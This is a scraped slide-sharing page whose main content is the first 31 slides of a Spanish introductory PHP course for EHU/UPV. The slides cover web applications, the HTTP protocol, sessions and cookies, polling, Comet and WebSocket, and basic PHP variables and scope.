Vr voor kerkbezoek   onderzoeksrapport versie-2Vr voor kerkbezoek   onderzoeksrapport versie-2
Vr voor kerkbezoek onderzoeksrapport versie-2
 
Guia de Evaluación, Monitoreo y Supervisión para servicios de salud
Guia de Evaluación, Monitoreo y Supervisión para servicios de saludGuia de Evaluación, Monitoreo y Supervisión para servicios de salud
Guia de Evaluación, Monitoreo y Supervisión para servicios de salud
 
Modelo para la conformación de una agenda digital en las instituciones de edu...
Modelo para la conformación de una agenda digital en las instituciones de edu...Modelo para la conformación de una agenda digital en las instituciones de edu...
Modelo para la conformación de una agenda digital en las instituciones de edu...
 
Progama de formación tecnico en sistemas 865244
Progama de formación tecnico en sistemas 865244Progama de formación tecnico en sistemas 865244
Progama de formación tecnico en sistemas 865244
 
Proyecto Formativo
Proyecto FormativoProyecto Formativo
Proyecto Formativo
 
INFORME DE AUDITORIA GUBERNAMENTAL
INFORME DE  AUDITORIA GUBERNAMENTALINFORME DE  AUDITORIA GUBERNAMENTAL
INFORME DE AUDITORIA GUBERNAMENTAL
 
Derecho bancario, bursátil, litigios, fiscal cert
Derecho bancario, bursátil, litigios, fiscal certDerecho bancario, bursátil, litigios, fiscal cert
Derecho bancario, bursátil, litigios, fiscal cert
 
PROYECTO PRIMERA INFANCIA
PROYECTO PRIMERA INFANCIAPROYECTO PRIMERA INFANCIA
PROYECTO PRIMERA INFANCIA
 

Similar a Curso Avanzado PHP para EHU/UPV

Similar a Curso Avanzado PHP para EHU/UPV (20)

Apache avanzado
Apache avanzadoApache avanzado
Apache avanzado
 
Apache
ApacheApache
Apache
 
2. Revision de Tecnologias Web.pdf
2. Revision de Tecnologias Web.pdf2. Revision de Tecnologias Web.pdf
2. Revision de Tecnologias Web.pdf
 
M1 introduccion a php
M1   introduccion a phpM1   introduccion a php
M1 introduccion a php
 
Servidor Web Apache para Linux
Servidor Web Apache para LinuxServidor Web Apache para Linux
Servidor Web Apache para Linux
 
Php 4.3
Php 4.3Php 4.3
Php 4.3
 
Programacion web
Programacion webProgramacion web
Programacion web
 
Programacion web
Programacion webProgramacion web
Programacion web
 
Programacion web
Programacion webProgramacion web
Programacion web
 
Programacion web
Programacion webProgramacion web
Programacion web
 
Programacion web
Programacion webProgramacion web
Programacion web
 
Programacion web
Programacion webProgramacion web
Programacion web
 
Programacion web
Programacion webProgramacion web
Programacion web
 
Programacion web
Programacion webProgramacion web
Programacion web
 
Programacion web
Programacion webProgramacion web
Programacion web
 
Programacion web
Programacion webProgramacion web
Programacion web
 
Programacion web
Programacion webProgramacion web
Programacion web
 
Programacion web
Programacion webProgramacion web
Programacion web
 
Programacion web
Programacion webProgramacion web
Programacion web
 
Programacion web
Programacion webProgramacion web
Programacion web
 

Más de Irontec

Gestion de proyectos con GitLab en tiempos de teletrabajo
Gestion de proyectos con GitLab en tiempos de teletrabajoGestion de proyectos con GitLab en tiempos de teletrabajo
Gestion de proyectos con GitLab en tiempos de teletrabajoIrontec
 
Sobre cómo gestionamos centenares de despliegues de VoIP
Sobre cómo gestionamos centenares de despliegues de VoIPSobre cómo gestionamos centenares de despliegues de VoIP
Sobre cómo gestionamos centenares de despliegues de VoIPIrontec
 
Presente y futuro del nuevo IVOZ Provider
Presente y futuro del nuevo IVOZ ProviderPresente y futuro del nuevo IVOZ Provider
Presente y futuro del nuevo IVOZ ProviderIrontec
 
Automated Testing para aplicaciones VoIP, WebRTC
Automated Testing para aplicaciones VoIP, WebRTCAutomated Testing para aplicaciones VoIP, WebRTC
Automated Testing para aplicaciones VoIP, WebRTCIrontec
 
Asterisk: Liberando y generando modelos de negocio en gran cuenta y operador ...
Asterisk: Liberando y generando modelos de negocio en gran cuenta y operador ...Asterisk: Liberando y generando modelos de negocio en gran cuenta y operador ...
Asterisk: Liberando y generando modelos de negocio en gran cuenta y operador ...Irontec
 
LA REVOLUCIÓN DEL CLOUD COMPUTING: NUEVA ERA DE DESARROLLO - OpenExpo17
LA REVOLUCIÓN DEL CLOUD COMPUTING: NUEVA ERA DE DESARROLLO - OpenExpo17LA REVOLUCIÓN DEL CLOUD COMPUTING: NUEVA ERA DE DESARROLLO - OpenExpo17
LA REVOLUCIÓN DEL CLOUD COMPUTING: NUEVA ERA DE DESARROLLO - OpenExpo17Irontec
 
IVOZ Provider Open Source - La solución VoIP opensource para operadores e int...
IVOZ Provider Open Source - La solución VoIP opensource para operadores e int...IVOZ Provider Open Source - La solución VoIP opensource para operadores e int...
IVOZ Provider Open Source - La solución VoIP opensource para operadores e int...Irontec
 
Escalabilidad “horizontal” en soluciones VoIP basadas en Asterisk / Kamailio
Escalabilidad “horizontal” en soluciones VoIP basadas en Asterisk / KamailioEscalabilidad “horizontal” en soluciones VoIP basadas en Asterisk / Kamailio
Escalabilidad “horizontal” en soluciones VoIP basadas en Asterisk / KamailioIrontec
 
VoIP2DAY 2015 - Workshop comercial ivoz provider
VoIP2DAY 2015 - Workshop comercial ivoz providerVoIP2DAY 2015 - Workshop comercial ivoz provider
VoIP2DAY 2015 - Workshop comercial ivoz providerIrontec
 
Irontec - comunicaciones unificadas en educación - biopen eduka - software li...
Irontec - comunicaciones unificadas en educación - biopen eduka - software li...Irontec - comunicaciones unificadas en educación - biopen eduka - software li...
Irontec - comunicaciones unificadas en educación - biopen eduka - software li...Irontec
 
Comparativa Firewall: IPCop vs. pfSense
Comparativa Firewall: IPCop vs. pfSenseComparativa Firewall: IPCop vs. pfSense
Comparativa Firewall: IPCop vs. pfSenseIrontec
 
Introducción a varnish cache (@irontec)
Introducción a varnish cache (@irontec)Introducción a varnish cache (@irontec)
Introducción a varnish cache (@irontec)Irontec
 
Curso de introducción a Sphinx | Irontec
Curso de introducción a Sphinx | IrontecCurso de introducción a Sphinx | Irontec
Curso de introducción a Sphinx | IrontecIrontec
 
Curso de VoIP / Parte 01: VoIP y Asterisk
Curso de VoIP / Parte 01: VoIP y AsteriskCurso de VoIP / Parte 01: VoIP y Asterisk
Curso de VoIP / Parte 01: VoIP y AsteriskIrontec
 
Curso de VoIP / Parte 03: Dialplan
Curso de VoIP / Parte 03: DialplanCurso de VoIP / Parte 03: Dialplan
Curso de VoIP / Parte 03: DialplanIrontec
 
Curso de VoIP / Parte 02: SIP
Curso de VoIP / Parte 02: SIPCurso de VoIP / Parte 02: SIP
Curso de VoIP / Parte 02: SIPIrontec
 
Curso de VoIP / Parte 04: Conceptos avanzados
Curso de VoIP / Parte 04: Conceptos avanzadosCurso de VoIP / Parte 04: Conceptos avanzados
Curso de VoIP / Parte 04: Conceptos avanzadosIrontec
 
Euskera zabaltzeko gure app berriak | Nuestras apps para difundir el euskera
Euskera zabaltzeko gure app berriak | Nuestras apps para difundir el euskeraEuskera zabaltzeko gure app berriak | Nuestras apps para difundir el euskera
Euskera zabaltzeko gure app berriak | Nuestras apps para difundir el euskeraIrontec
 
Virtualizacion KVM + libvirt + HREL6
Virtualizacion KVM + libvirt + HREL6Virtualizacion KVM + libvirt + HREL6
Virtualizacion KVM + libvirt + HREL6Irontec
 
Irontec - Presentación de servicios de telefonía IP
Irontec - Presentación de servicios de telefonía IPIrontec - Presentación de servicios de telefonía IP
Irontec - Presentación de servicios de telefonía IPIrontec
 

Más de Irontec (20)

Gestion de proyectos con GitLab en tiempos de teletrabajo
Gestion de proyectos con GitLab en tiempos de teletrabajoGestion de proyectos con GitLab en tiempos de teletrabajo
Gestion de proyectos con GitLab en tiempos de teletrabajo
 
Sobre cómo gestionamos centenares de despliegues de VoIP
Sobre cómo gestionamos centenares de despliegues de VoIPSobre cómo gestionamos centenares de despliegues de VoIP
Sobre cómo gestionamos centenares de despliegues de VoIP
 
Presente y futuro del nuevo IVOZ Provider
Presente y futuro del nuevo IVOZ ProviderPresente y futuro del nuevo IVOZ Provider
Presente y futuro del nuevo IVOZ Provider
 
Automated Testing para aplicaciones VoIP, WebRTC
Automated Testing para aplicaciones VoIP, WebRTCAutomated Testing para aplicaciones VoIP, WebRTC
Automated Testing para aplicaciones VoIP, WebRTC
 
Asterisk: Liberando y generando modelos de negocio en gran cuenta y operador ...
Asterisk: Liberando y generando modelos de negocio en gran cuenta y operador ...Asterisk: Liberando y generando modelos de negocio en gran cuenta y operador ...
Asterisk: Liberando y generando modelos de negocio en gran cuenta y operador ...
 
LA REVOLUCIÓN DEL CLOUD COMPUTING: NUEVA ERA DE DESARROLLO - OpenExpo17
LA REVOLUCIÓN DEL CLOUD COMPUTING: NUEVA ERA DE DESARROLLO - OpenExpo17LA REVOLUCIÓN DEL CLOUD COMPUTING: NUEVA ERA DE DESARROLLO - OpenExpo17
LA REVOLUCIÓN DEL CLOUD COMPUTING: NUEVA ERA DE DESARROLLO - OpenExpo17
 
IVOZ Provider Open Source - La solución VoIP opensource para operadores e int...
IVOZ Provider Open Source - La solución VoIP opensource para operadores e int...IVOZ Provider Open Source - La solución VoIP opensource para operadores e int...
IVOZ Provider Open Source - La solución VoIP opensource para operadores e int...
 
Escalabilidad “horizontal” en soluciones VoIP basadas en Asterisk / Kamailio
Escalabilidad “horizontal” en soluciones VoIP basadas en Asterisk / KamailioEscalabilidad “horizontal” en soluciones VoIP basadas en Asterisk / Kamailio
Escalabilidad “horizontal” en soluciones VoIP basadas en Asterisk / Kamailio
 
VoIP2DAY 2015 - Workshop comercial ivoz provider
VoIP2DAY 2015 - Workshop comercial ivoz providerVoIP2DAY 2015 - Workshop comercial ivoz provider
VoIP2DAY 2015 - Workshop comercial ivoz provider
 
Irontec - comunicaciones unificadas en educación - biopen eduka - software li...
Irontec - comunicaciones unificadas en educación - biopen eduka - software li...Irontec - comunicaciones unificadas en educación - biopen eduka - software li...
Irontec - comunicaciones unificadas en educación - biopen eduka - software li...
 
Comparativa Firewall: IPCop vs. pfSense
Comparativa Firewall: IPCop vs. pfSenseComparativa Firewall: IPCop vs. pfSense
Comparativa Firewall: IPCop vs. pfSense
 
Introducción a varnish cache (@irontec)
Introducción a varnish cache (@irontec)Introducción a varnish cache (@irontec)
Introducción a varnish cache (@irontec)
 
Curso de introducción a Sphinx | Irontec
Curso de introducción a Sphinx | IrontecCurso de introducción a Sphinx | Irontec
Curso de introducción a Sphinx | Irontec
 
Curso de VoIP / Parte 01: VoIP y Asterisk
Curso de VoIP / Parte 01: VoIP y AsteriskCurso de VoIP / Parte 01: VoIP y Asterisk
Curso de VoIP / Parte 01: VoIP y Asterisk
 
Curso de VoIP / Parte 03: Dialplan
Curso de VoIP / Parte 03: DialplanCurso de VoIP / Parte 03: Dialplan
Curso de VoIP / Parte 03: Dialplan
 
Curso de VoIP / Parte 02: SIP
Curso de VoIP / Parte 02: SIPCurso de VoIP / Parte 02: SIP
Curso de VoIP / Parte 02: SIP
 
Curso de VoIP / Parte 04: Conceptos avanzados
Curso de VoIP / Parte 04: Conceptos avanzadosCurso de VoIP / Parte 04: Conceptos avanzados
Curso de VoIP / Parte 04: Conceptos avanzados
 
Euskera zabaltzeko gure app berriak | Nuestras apps para difundir el euskera
Euskera zabaltzeko gure app berriak | Nuestras apps para difundir el euskeraEuskera zabaltzeko gure app berriak | Nuestras apps para difundir el euskera
Euskera zabaltzeko gure app berriak | Nuestras apps para difundir el euskera
 
Virtualizacion KVM + libvirt + HREL6
Virtualizacion KVM + libvirt + HREL6Virtualizacion KVM + libvirt + HREL6
Virtualizacion KVM + libvirt + HREL6
 
Irontec - Presentación de servicios de telefonía IP
Irontec - Presentación de servicios de telefonía IPIrontec - Presentación de servicios de telefonía IP
Irontec - Presentación de servicios de telefonía IP
 

Último

El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.241514949
 
dokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptdokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptMiguelAtencio10
 
definicion segun autores de matemáticas educativa
definicion segun autores de matemáticas  educativadefinicion segun autores de matemáticas  educativa
definicion segun autores de matemáticas educativaAdrianaMartnez618894
 
Presentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadPresentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadMiguelAngelVillanuev48
 
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6    CREAR UN RECURSO MULTIMEDIAActividad integradora 6    CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA241531640
 
El uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFELEl uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFELmaryfer27m
 
FloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptxFloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptx241522327
 
R1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en minaR1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en minaarkananubis
 
Hernandez_Hernandez_Practica web de la sesion 11.pptx
Hernandez_Hernandez_Practica web de la sesion 11.pptxHernandez_Hernandez_Practica web de la sesion 11.pptx
Hernandez_Hernandez_Practica web de la sesion 11.pptxJOSEMANUELHERNANDEZH11
 
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxMedidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxaylincamaho
 
Arenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxArenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxJOSEFERNANDOARENASCA
 
Mapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMidwarHenryLOZAFLORE
 
tics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxtics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxazmysanros90
 
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxEl_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxAlexander López
 
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptxGoogle-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptxAlexander López
 
El uso de las tic en la vida ,lo importante que son
El uso de las tic en la vida ,lo importante  que sonEl uso de las tic en la vida ,lo importante  que son
El uso de las tic en la vida ,lo importante que son241514984
 
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdfPARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdfSergioMendoza354770
 
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptxLAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptxAlexander López
 
Segunda ley de la termodinámica TERMODINAMICA.pptx
Segunda ley de la termodinámica TERMODINAMICA.pptxSegunda ley de la termodinámica TERMODINAMICA.pptx
Segunda ley de la termodinámica TERMODINAMICA.pptxMariaBurgos55
 
GonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptxGonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptx241523733
 

Último (20)

El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.El uso de las TIC's en la vida cotidiana.
El uso de las TIC's en la vida cotidiana.
 
dokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.pptdokumen.tips_36274588-sistema-heui-eui.ppt
dokumen.tips_36274588-sistema-heui-eui.ppt
 
definicion segun autores de matemáticas educativa
definicion segun autores de matemáticas  educativadefinicion segun autores de matemáticas  educativa
definicion segun autores de matemáticas educativa
 
Presentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidadPresentación inteligencia artificial en la actualidad
Presentación inteligencia artificial en la actualidad
 
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6    CREAR UN RECURSO MULTIMEDIAActividad integradora 6    CREAR UN RECURSO MULTIMEDIA
Actividad integradora 6 CREAR UN RECURSO MULTIMEDIA
 
El uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFELEl uso delas tic en la vida cotidiana MFEL
El uso delas tic en la vida cotidiana MFEL
 
FloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptxFloresMorales_Montserrath_M1S3AI6 (1).pptx
FloresMorales_Montserrath_M1S3AI6 (1).pptx
 
R1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en minaR1600G CAT Variables de cargadores en mina
R1600G CAT Variables de cargadores en mina
 
Hernandez_Hernandez_Practica web de la sesion 11.pptx
Hernandez_Hernandez_Practica web de la sesion 11.pptxHernandez_Hernandez_Practica web de la sesion 11.pptx
Hernandez_Hernandez_Practica web de la sesion 11.pptx
 
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptxMedidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
Medidas de formas, coeficiente de asimetría y coeficiente de curtosis.pptx
 
Arenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptxArenas Camacho-Practica tarea Sesión 12.pptx
Arenas Camacho-Practica tarea Sesión 12.pptx
 
Mapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptxMapa-conceptual-del-Origen-del-Universo-3.pptx
Mapa-conceptual-del-Origen-del-Universo-3.pptx
 
tics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptxtics en la vida cotidiana prepa en linea modulo 1.pptx
tics en la vida cotidiana prepa en linea modulo 1.pptx
 
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptxEl_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
El_Blog_como_herramienta_de_publicacion_y_consulta_de_investigacion.pptx
 
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptxGoogle-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
Google-Meet-como-herramienta-para-realizar-reuniones-virtuales.pptx
 
El uso de las tic en la vida ,lo importante que son
El uso de las tic en la vida ,lo importante  que sonEl uso de las tic en la vida ,lo importante  que son
El uso de las tic en la vida ,lo importante que son
 
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdfPARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
PARTES DE UN OSCILOSCOPIO ANALOGICO .pdf
 
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptxLAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
LAS_TIC_COMO_HERRAMIENTAS_EN_LA_INVESTIGACIÓN.pptx
 
Segunda ley de la termodinámica TERMODINAMICA.pptx
Segunda ley de la termodinámica TERMODINAMICA.pptxSegunda ley de la termodinámica TERMODINAMICA.pptx
Segunda ley de la termodinámica TERMODINAMICA.pptx
 
GonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptxGonzalezGonzalez_Karina_M1S3AI6... .pptx
GonzalezGonzalez_Karina_M1S3AI6... .pptx
 

Curso Avanzado PHP para EHU/UPV

  • 1. PHP – PHP: Hypertext Preprocessor Curso: Programación de Aplicaciones Web con PHP
  • 2. PHP – PHP: Hypertext Preprocessor Curso PHP Introducción a la programación WEB
  • 3. PHP – PHP: Hypertext Preprocessor Introducción a la programación Web ● Qué es una aplicación Web? – Según la Wikipedia: ● […] se denomina aplicación web a aquellas aplicaciones que los usuarios pueden utilizar accediendo a un servidor web a través de Internet o de una intranet mediante un navegador.[...]
  • 4. PHP – PHP: Hypertext Preprocessor ¿Cómo se integran todos los agentes en una aplicación Web profesional?
  • 5. PHP – PHP: Hypertext Preprocessor Introducción a la programación Web ● Agentes implicados – Navegador Mozilla Firefox, Chrome, Safari, Opera, ¿Internet Explorer?... – Servidor Web ● Servidor Http Apache, lighttpd, nginx, IIS... ● Parser PHP, Ruby, Python, JSP, Coldfusion, ASP... – Servidor de BBDD MySQL, PostgreSQL, SQL Server...
  • 6. PHP – PHP: Hypertext Preprocessor Introducción a la programación Web ● Ventajas – Espacio en el cliente – Fácil actualización – Ubicuidad – Multiplataforma ● Desventajas – Dependiente de conexión a Internet/Intranet – Funcionalidades Interfaz limitadas ● p.e. : Dibujar en pantalla, Drag & Drop – Javascript y algunos plugins nos permiten “saltarnos” ciertas limitaciones – Interpretación de “[X]HTML + CSS + Javascript” en distintos navegadores ● Va mejorando :)
  • 7. PHP – PHP: Hypertext Preprocessor Nuestro protocolo de transporte HTTP: HyperText Transfer Protocol
  • 8. PHP – PHP: Hypertext Preprocessor HTTP: HyperText Transfer Protocol ● ¿Qué es HTTP? – Protocolo orientado a transacciones, que se basa en un esquema petición-respuesta de un cliente(navegador) hacia un servidor (apache?). – Protocolo de transporte a nivel de aplicación utilizado en cada petición web. – HTTP se basa en una serie de RFC, siendo el más importante el RFC 2616, que especifica HTTP 1.1 – HTTP es un protocolo sin estado: No se guarda información de conexiones anteriores. ● ¿Y HTTPS? – Mismo protocolo + capa SSL – Sólo se autentica el servidor (Certificado SSL)
  • 9. PHP – PHP: Hypertext Preprocessor HTTP: HyperText Transfer Protocol ● 8 Métodos HEAD, GET, POST, PUT, DELETE, TRACE, OPTIONS, CONNECT – Obligatorios HEAD, GET, [OPTIONS] – Seguros HEAD, GET!!!, TRACE, OPTIONS – No seguros POST, PUT, DELETE – Idempotentes PUT, DELETE, (+Seguros) ● Los más importantes para nosotros – HEAD, GET, POST
  • 10. PHP – PHP: Hypertext Preprocessor HTTP: HyperText Transfer Protocol ● Ejemplo de petición HTTP: GET / HTTP/1.1 Host: www.google.es User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.7,es;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Cookie: PREF=ID=134e9ba9c956a28f:TM=1247645018:LM=1247645018:S=9sHtNuO_ unBFgLVV n
  • 11. PHP – PHP: Hypertext Preprocessor HTTP: HyperText Transfer Protocol ● Las respuestas del servidor están basadas en códigos de respuesta: – 1xx Informativo – 2xx Correcto – 3xx Redirección – 4xx Error en la petición – 5xx Error en el servidor ● La respuesta del servidor se divide en encabezados de respuesta, seguidos del recurso solicitado (html, imágenes, audio, etc)
  • 12. PHP – PHP: Hypertext Preprocessor HTTP: HyperText Transfer Protocol ● Ejemplo de respuesta HTTP: HTTP/1.x 200 OK Cache-Control: private, max-age=0 Date: Wed, 15 Jul 2009 08:14:16 GMT Expires: -1 Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: gws Content-Length: 2867 n <html> Etc, etc, etc ...
  • 13. PHP – PHP: Hypertext Preprocessor HTTP como protocolo asíncrono y sin estado
  • 14. PHP – PHP: Hypertext Preprocessor HTTP como protocolo asíncrono ● HTML: – Publicado por Tim Berners-Lee en 1991, con el nombre HTML Tags. ● Incluía etiquetas de listas(ul), glosarios(dt,dl), encabezados(h1,h2) o enlaces (a) entre otras que todavía se conservan. – En 1993, la IETF lo reconoció como una ampliación de SGML, definiendo el primer DTD para HTML. – HTML ha evolucionado hasta xHTML (eXtensible HyperText Markup Language): una implementación de HTML, siguiendo las pautas más estrictas de XML.
  • 15. PHP – PHP: Hypertext Preprocessor HTTP como protocolo asíncrono ● Hoy en día: – Aplicaciones Web: ● Procesadores de texto, clientes de correo, mapas navegables, ERPs, CRMs, Administración de router... – Necesidad: ● Avisar al cliente web de distintos eventos que suceden “ajenos” a él, de manera “amigable”. – Tecnología subyacente: ● La web sigue basándose en HTTP. ● Seguimos teniendo un protocolo sin estados, basado en el binomio pregunta-respuesta. ● Estándar (X)HTML!! ● TODO ES WEB... y la web es síncrona y sin estado.
  • 16. PHP – PHP: Hypertext Preprocessor Pero... si no tiene estados ¿cómo hago para... ?
  • 17. PHP – PHP: Hypertext Preprocessor Pero... si no tiene estados como hago para... ● No tiene estados, pero tenemos trampas: – Sesiones ● Alojadas en el servidor ● Sin limitación de tamaño ● No persistente – Límite de tiempo en servidor – Cierre del navegador – Cookies ● Alojadas en el cliente ● Se pueden almacenar durante todo el tiempo que queramos (y nos deje el cliente)
  • 18. PHP – PHP: Hypertext Preprocessor Vale, pero si es síncrona ¿cómo hago para recoger eventos?
  • 19. PHP – PHP: Hypertext Preprocessor Vale, pero si es síncrona como hago para... ● Políticas de pooling: – Gracias al XMLHttpRequest (XHR o el vulgar Ajax), podemos realizar peticiones al servidor web “escondidas al usuario”. – Preguntamos al servidor cada cierto tiempo (1 segundo, 500 ms), si algo ha cambiado, y lo cambiamos en el DOM. ● Problema: – Mucha carga, los servidores web no están pensados para esto...
  • 20. PHP – PHP: Hypertext Preprocessor Vale, pero si es síncrona como hago para... ● Comet: – Técnica de programación web basada en XMLHttpRequest, que evita el pooling para la actualización de datos en el lado del cliente. – Utiliza lo que se conoce como long-pooling: ● Mantener abierta y viva la conexión HTTP, esperando a que el servidor envíe datos. ● En cada envío de datos la conexión deberá ser renovada. ● El cliente realiza las peticiones utilizando otra conexión paralela. – Ventaja: ● Evitamos el pooling – Inconveniente ● Rendimiento muy bajo para sitios con mucho ancho de banda.
  • 21. PHP – PHP: Hypertext Preprocessor Vale, pero si es síncrona como hago para... ● Flash Shared Objects: – Se pueden crear objetos compartidos desde SWF's – Todo controlado ● Servidor propio (FMS, Woza, Red5, ...) ● Capa de transporte propia (AMF) ● Protocolo de comunicación propio (RTMP) – Se comparten estructuras entre varios clientes y un servidor, que se actualizan en tiempo real – Ventajas: ● Se evitan políticas de pooling – Incoveniente: ● Necesidad de plugins ● Necesidad de servidor extra ● Especificaciones privativas
  • 22. PHP – PHP: Hypertext Preprocessor Vale, pero si es síncrona como hago para... ● WebSocket: – Incorporado en HTML5 – Proporciona una interfaz en Javascript para crear un canal de comunicación full-duplex. miWebSocket.onopen = function(e) {alert(“conectado.”);}; miWebSocket.onmessage = function(e) {alert(e.data);}; miWebSocket.postMessage(“hola servidor!”); miWebSocket.disconnect(); – Ventajas: ● Sencillo, limpio, y sin hacks innecesarios :) – Desventajas: ● Necesitamos un Websocket server. (ej.: Kaazing) ● Estamos hablando del futuro. – Alternativa: ● Lo podemos simular con librerias Javascript (ej:bytesocket.js)
  • 23. PHP – PHP: Hypertext Preprocessor PHP
  • 24. PHP – PHP: Hypertext Preprocessor Introducción general
  • 25. PHP – PHP: Hypertext Preprocessor PHP: Introducción general ● PHP ("PHP: Hypertext Preprocessor") – Alto nivel – Interpretado – Tipado débil – Multiplataforma – Sintaxis basada en C – Embebible en páginas HTML – Ejecutado en el servidor ● Aunque no necesariamente ( CLI ) – Código abierto
  • 26. PHP – PHP: Hypertext Preprocessor PHP: Introducción general ● Ejemplo de PHP embebido: <html> <head> <title>Prueba de concepto con PHP</title> </head> Inicio codigo PHP <body> <p> Fin codigo PHP <?php echo "Hola mundo"; ?> Todo en una línea </p> <p><?php echo 'Bloque en una linea' ?></p> </body> <?php echo "</html>" Aquí no hace falta “?>”!!
  • 27. PHP – PHP: Hypertext Preprocessor PHP: Introducción general Arquitectura Cliente-Servidor
  • 28. PHP – PHP: Hypertext Preprocessor Variables
  • 29. PHP – PHP: Hypertext Preprocessor Variables ● Sintaxis: – Nombre de la variable precedido por $ – El nombre puede contener letras, números y guiones bajos – No puede empezar por un número ● $nombre_var ● $var1 ● $_var2 ● $3var ← NO!!!! – Asignación por referencia precediendo con un & ● $var1 = &$var2
  • 30. PHP – PHP: Hypertext Preprocessor Variables ● Ámbito de las variables (I) – Las variables creadas dentro de una función están “enjauladas” en la misma. $a = 5; function test(){ echo $a; // Out: $a = 7; echo $a; // Out: 7 } test(); echo $a; //Out: 5
  • 31. PHP – PHP: Hypertext Preprocessor Variables ● Ámbito de las variables (II) – Variable globales $a = 5; function test(){ global $a; echo $a; } test(); echo $a; ¿?¿?¿? – No usar a no ser extrictamente necesario!!! ● Las carga el demonio!! ¡¡Mal diseño!!
